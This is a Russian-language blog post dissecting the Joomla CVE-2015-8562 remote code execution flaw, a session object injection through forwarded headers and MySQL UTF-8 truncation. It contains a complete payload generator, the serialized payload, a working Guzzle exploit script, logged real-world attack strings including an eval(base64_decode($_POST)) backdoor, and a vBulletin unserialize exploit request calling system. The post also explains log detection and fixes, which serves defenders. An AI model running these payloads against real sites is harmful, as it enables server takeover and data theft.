Разбор уязвимости Joomla CVE-2015-8562
Категория: / DEV Блог
/ PHP (LAMP)
20151201 Core / Remote Code Execution Vulnerability
Позволяет злоумышленнику выполнить произвольный код. За последний месяц в джумле нашли две критические уязвимости. Последняя распространяется на все версии системы начиная с 1.5.0 и до 3.4.5. Кто-то мог эксплуатировать эту дыру около 8 лет, 8 лет Карл!.
Атакован ли ваш сайт?
Можно определить, посмотрев логи:
TL;DR
Уязвимость заключается в отсутствии должной фильтрации данных пользователя (заголовки user-agent и x-forwarded-for). Данные сохраняются в базу данных в сериализованном виде обработчиком сессий. Из-за бага обработки UTF8 строк Mysql, при сохранении данные обрезаются, позволяя внедрить произвольный объект (выполнить код) в массив $_SESSION при чтении данных сессии из бд.
Разбираем подробно на примере Joomla! 3.2.0
Код, сохраняющий небезопасный x-forwarded-for заголовок без проверки:
Joomla устанавливает свой обработчик сессий JSessionStorageDatabase с драйвером "базы данных" (JSessionStorageDatabase) по-умолчанию.
Сериализованная сессия в базе данных выглядит как (см. функцию session_encode)
Мы можем осуществить подмену (инъекцию) session.client.forwarded, таким образом мы можем записать произвольное значение в поле data таблицы #session
Беда в том, что восстановление данных сессии (см. функцию session_decode) перестанет работать.
Тут нам на помощь приходит mysql, в котором присутствует довольно неприятный баг - при сохранении строки в кодировке utf8 может произойти ее обрезание, если встретится символ расширенного юникода (4 байта), например символ коровьей лепешки pile of poo! с кодом 0xF0 0x9F 0x92 0xA9.
Фикс: Использование кодировки utf8mb4 вместо utf8 (SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci);
Также `баг` с усечением строки при вставке не работает, если в mysql/mariadb используется строгий режим strict mode (sql_mode = STRICT_TRANS_TABLES, STRICT_ALL_TABLES).
Напомню, что по-умолчанию mysql не использует данный режим. как включить? . Живой пример смотрите на sqlfiddle.
Теперь нужно придумать как выполнить произвольный код при создании объекта?
Обратимся к классу работу с базой данных. класс JDatabaseDriverMysqli.
В драйвере присутствует деструктор (будет вызван по завершении скрипта), который выполняет метод disconnect в котором при наличии активного подключения выполняются пользовательские обработчики (колбэки) закрытия соединения с базой данных. Это можно использовать!
Смотрим дальше.
В стандартную поставку Joomla входит пакет simplePie - класс для работы с новостными лентами (rss). Написан он так, что позволяет в рантайме переопределять некоторые функции (вызывает их через call_user_func).
Код SimplePie
Попытаемся осуществить инжект кода:
На потом: метод init() вызывается конструктором, если передан feed_url
Мы использовали cache_name_function = 'assert' в качестве "кэширующей" фукнции (напомню что assert в php позволяет выполнить произвольный код).
В качестве параметра assert передается feed_url. Сложность в том что feed_url должен быть валидным урлом (ну или почти валидным), разбирается регуляркой
Установив значение $feed_url = 'var_dump(\'http://skillz.ru/\', {произвольный код});'
получим scheme = "var_dump('http", а это то что нужно чтобы пройти проверку ($parsed_feed_url['scheme'] != '')
Свойства sanitize и cache_class нужно "мокнуть", для этого идеально подойдет класс бд JDatabaseDriverMysql, т.к. в нем реализован волшебный метод __call, который отработает необъявленные вызовы.
В итоге
Трансформируется в
Теперь нужно внедрить полученые наработки в сессию
Создадим файл для генерации кода для инжекта (payload.php)
Пояснения: создаем заглушки классов для сериализации, записываем результат в payload.txt
"\0*\0" - аттрибут для защищенных свойств, иначе десериализация отработает неправильно.
Внедренный код JFactory::getConfig() должен вывести на экран конфигурационные параметры джумлы.
payload.txt
Пишем эксплойт
composer.json (загружает guzzle)
После запуска:
Первый запрос создает сессию с внедренным кодом.
Второй запрос загружает сессию из базы и выполняет код:
В $_SESSION появится объект __test1
Вывод:
UPD
1. session_decode исправлен в PHP начиная с 5.5.29, 5.6.13 (если у вас актуальные версии - ваш сайт в безопасности).
2. Уязвимость закрыта в Joomla 3.4.6
3. Можно проверить свой сайт онлайн на наличие описанной уязвимости.
[20151201] - Core - Remote Code Execution Vulnerability
Месяцем ранее был опубликован код эксплойта уязвимости в популярном форумном движке Vbulletin 5.x, использующий тот же механизм выполнения вредоносного кода...
Запрос: /ajax/api/hook/decodeArguments?arguments=O:12:%22vB_dB_Result%22:2:%7Bs:5:%22%00*%00db%22;O:18:%22vB_Database_MySQLi%22:1:%7Bs:9:%22functions%22;a:1:%7Bs:11:%22free_result%22;s:6:%22system%22;%7D%7Ds:12:%22%00*%00recordset%22;s:20:%22echo%20$((0xfee10000))%22;%7D
Позволяет злоумышленнику выполнить произвольный код. За последний месяц в джумле нашли две критические уязвимости. Последняя распространяется на все версии системы начиная с 1.5.0 и до 3.4.5. Кто-то мог эксплуатировать эту дыру около 8 лет, 8 лет Карл!.
Атакован ли ваш сайт?
Можно определить, посмотрев логи:
/var/log/httpd $ grep JDatabaseDriverMysqli *.log
access.log:71.19.248.201 - - [15/Dec/2015:17:03:05 +0300] "GET / HTTP/1.1" 301 239 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"; a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:37:\"phpinfo();JFactory::getConfig();exit;\"; s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
access.log:89.234.157.254 - - [15/Dec/2015:08:23:06 +0300] "GET / HTTP/1.1" 200 16603 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"; a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\"; s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
TL;DR
Уязвимость заключается в отсутствии должной фильтрации данных пользователя (заголовки user-agent и x-forwarded-for). Данные сохраняются в базу данных в сериализованном виде обработчиком сессий. Из-за бага обработки UTF8 строк Mysql, при сохранении данные обрезаются, позволяя внедрить произвольный объект (выполнить код) в массив $_SESSION при чтении данных сессии из бд.
Разбираем подробно на примере Joomla! 3.2.0
Код, сохраняющий небезопасный x-forwarded-for заголовок без проверки:
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
Joomla устанавливает свой обработчик сессий JSessionStorageDatabase с драйвером "базы данных" (JSessionStorageDatabase) по-умолчанию.
abstract class JSessionStorage
{
public function register()
{
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
}
}
class JSessionStorageDatabase extends JSessionStorage
{
public function read($id)
{
$result = (string) $db->loadData();
...
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
}
public function write($id, $data)
{
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
...
$db->saveData();
}
}
Сериализованная сессия в базе данных выглядит как (см. функцию session_encode)
__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450337832;s:18:"session.timer.last";
i:1450337832;s:17:"session.timer.now";i:1450337832;s:24:"session.client.forwarded";s:120:""...остальные данные}
Мы можем осуществить подмену (инъекцию) session.client.forwarded, таким образом мы можем записать произвольное значение в поле data таблицы #session
Беда в том, что восстановление данных сессии (см. функцию session_decode) перестанет работать.
Тут нам на помощь приходит mysql, в котором присутствует довольно неприятный баг - при сохранении строки в кодировке utf8 может произойти ее обрезание, если встретится символ расширенного юникода (4 байта), например символ коровьей лепешки pile of poo! с кодом 0xF0 0x9F 0x92 0xA9.
Фикс: Использование кодировки utf8mb4 вместо utf8 (SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci);
Также `баг` с усечением строки при вставке не работает, если в mysql/mariadb используется строгий режим strict mode (sql_mode = STRICT_TRANS_TABLES, STRICT_ALL_TABLES).
Напомню, что по-умолчанию mysql не использует данный режим. как включить? . Живой пример смотрите на sqlfiddle.
Теперь нужно придумать как выполнить произвольный код при создании объекта?
Обратимся к классу работу с базой данных. класс JDatabaseDriverMysqli.
class JDatabaseDriverMysqli
{
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
public function __destruct()
{
$this->disconnect();
}
}
В драйвере присутствует деструктор (будет вызван по завершении скрипта), который выполняет метод disconnect в котором при наличии активного подключения выполняются пользовательские обработчики (колбэки) закрытия соединения с базой данных. Это можно использовать!
Смотрим дальше.
В стандартную поставку Joomla входит пакет simplePie - класс для работы с новостными лентами (rss). Написан он так, что позволяет в рантайме переопределять некоторые функции (вызывает их через call_user_func).
Код SimplePie
class SimplePie
{
var $cache_name_function = 'md5';
var $cache_class = 'SimplePie_Cache';
function SimplePie($feed_url = null, $cache_location = null, $cache_duration = null)
{
...
$this->init();
}
function init()
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
}
}
}
Попытаемся осуществить инжект кода:
# подгружаем SimplePie автолоадером
new JSimplepieFactory();
#пробуем
$s = new SimplePie();
$s->feed_url = 'var_dump(\'http://skillz.ru/\', JFactory::getConfig());';
$s->cache = true;
$s->sanitize = new JDatabaseDriverMysql();
$s->cache_name_function = 'assert';
$s->cache_class = new JDatabaseDriverMysql();
$s->init();
На потом: метод init() вызывается конструктором, если передан feed_url
Мы использовали cache_name_function = 'assert' в качестве "кэширующей" фукнции (напомню что assert в php позволяет выполнить произвольный код).
В качестве параметра assert передается feed_url. Сложность в том что feed_url должен быть валидным урлом (ну или почти валидным), разбирается регуляркой
preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match);
...
return array('scheme' => $match[2]...
Установив значение $feed_url = 'var_dump(\'http://skillz.ru/\', {произвольный код});'
получим scheme = "var_dump('http", а это то что нужно чтобы пройти проверку ($parsed_feed_url['scheme'] != '')
Свойства sanitize и cache_class нужно "мокнуть", для этого идеально подойдет класс бд JDatabaseDriverMysql, т.к. в нем реализован волшебный метод __call, который отработает необъявленные вызовы.
В итоге
call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
Трансформируется в
call_user_func(array(new JDatabaseDriverMysql, 'create'), '', call_user_func('assert', 'наш-код'), 'spc');
Теперь нужно внедрить полученые наработки в сессию
Создадим файл для генерации кода для инжекта (payload.php)
/**
* @project: joomla-remote-code
* @author: Golovkin Vladimir <rustyj4ck@gmail.com>
* @created: 16.12.2015 15:13
*/
class JDatabaseDriverMysql {
}
class JDatabaseDriverMysqli {
protected $_simplePieLoader;
protected $connection = 1;
protected $disconnectHandlers = [];
function __construct()
{
$this->_simplePieLoader = new JSimplepieFactory;
$this->disconnectHandlers []= [new SimplePie, 'init' ];
}
};
/*
SimplePie не подгружается автоматически, будет сообщение об ошибке
call_user_func_array(): The script tried to execute a method or access a property of an incomplete object.
Please ensure that the class definition "SimplePie" of the object you are trying to operate on was loaded _before_ unserialize()
gets called or provide a __autoload() function to load the class definition in \libraries\joomla\database\driver\mysqli.php on line 207
*/
class JSimplepieFactory {
}
class SimplePie {
public $feed_url = 'var_dump(\'http://skillz.ru/\', JFactory::getConfig());';
public $cache = true;
public $sanitize;
public $cache_name_function = 'assert';
public $cache_class;
function __construct()
{
$this->sanitize = new JDatabaseDriverMysql();
$this->cache_class = new JDatabaseDriverMysql();
}
}
session_start();
$object = new JDatabaseDriverMysqli();
$_SESSION['__test1'] = $object;
$payload = session_encode();
$payload = str_replace("\0*\0", '\0\0\0', $payload);
file_put_contents('payload.txt', $payload);
Пояснения: создаем заглушки классов для сериализации, записываем результат в payload.txt
"\0*\0" - аттрибут для защищенных свойств, иначе десериализация отработает неправильно.
Внедренный код JFactory::getConfig() должен вывести на экран конфигурационные параметры джумлы.
payload.txt
__test1|O:21:"JDatabaseDriverMysqli":3:{s:19:"\0\0\0_simplePieLoader";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"feed_url";s:53:"var_dump('http://skillz.ru/', JFactory::getConfig());";s:5:"cache";b:1;s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}}
Пишем эксплойт
use GuzzleHttp\Client;
use GuzzleHttp\Psr7\Request;
$jar = new \GuzzleHttp\Cookie\CookieJar;
$client = new Client();
$url = 'http://localhost/joomla3/';
$useragent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0';
$terminator = "\xf0\x9d\x8c\x86"; //pile-of-poop
$testPayload = file_get_contents('payload.txt');
$payload = '}_broken|s:2:"@1";' . $testPayload . ';' . $terminator;
$request = new Request('GET', $url);
$request = $request->withHeader('x-forwarded-for', $payload);
$request = $request->withHeader('user-agent', $useragent);
for ($i = 0; $i < 2; $i ++) {
$response = $client->send(
$request,
[
'cookies' => $jar,
'debug' => true,
]
);
printf("HTTP:%d\n%s\n", $response->getStatusCode(), $response->getBody());
}
composer.json (загружает guzzle)
{
"require": {
"guzzle/guzzle": "^3.9",
"guzzlehttp/guzzle": "^6.1"
}
}
После запуска:
Первый запрос создает сессию с внедренным кодом.
Второй запрос загружает сессию из базы и выполняет код:
В $_SESSION появится объект __test1
JDatabaseDriverMysqli {
+"_loader": JSimplepieFactory {}
#connection: 1
#disconnectHandlers: array:1
0 => array:2 [
0 => SimplePie {
+sanitize: JDatabaseDriverMysql {}
+feed_url: "var_dump('http://skillz.ru/', JFactory::getConfig());"
+cache: true
+cache_name_function: "assert"
+cache_class: JDatabaseDriverMysql {}
}
1 => "init"
]
]
}
Вывод:
UPD
1. session_decode исправлен в PHP начиная с 5.5.29, 5.6.13 (если у вас актуальные версии - ваш сайт в безопасности).
2. Уязвимость закрыта в Joomla 3.4.6
3. Можно проверить свой сайт онлайн на наличие описанной уязвимости.
[20151201] - Core - Remote Code Execution Vulnerability
Месяцем ранее был опубликован код эксплойта уязвимости в популярном форумном движке Vbulletin 5.x, использующий тот же механизм выполнения вредоносного кода...
Запрос: /ajax/api/hook/decodeArguments?arguments=O:12:%22vB_dB_Result%22:2:%7Bs:5:%22%00*%00db%22;O:18:%22vB_Database_MySQLi%22:1:%7Bs:9:%22functions%22;a:1:%7Bs:11:%22free_result%22;s:6:%22system%22;%7D%7Ds:12:%22%00*%00recordset%22;s:20:%22echo%20$((0xfee10000))%22;%7D
Тут просто совпало, что в файле с классом JSimplepieFactory есть jimport для SimplePie в начале файла. :) В Joomla 1.* такого нет, как там написать эксплойт?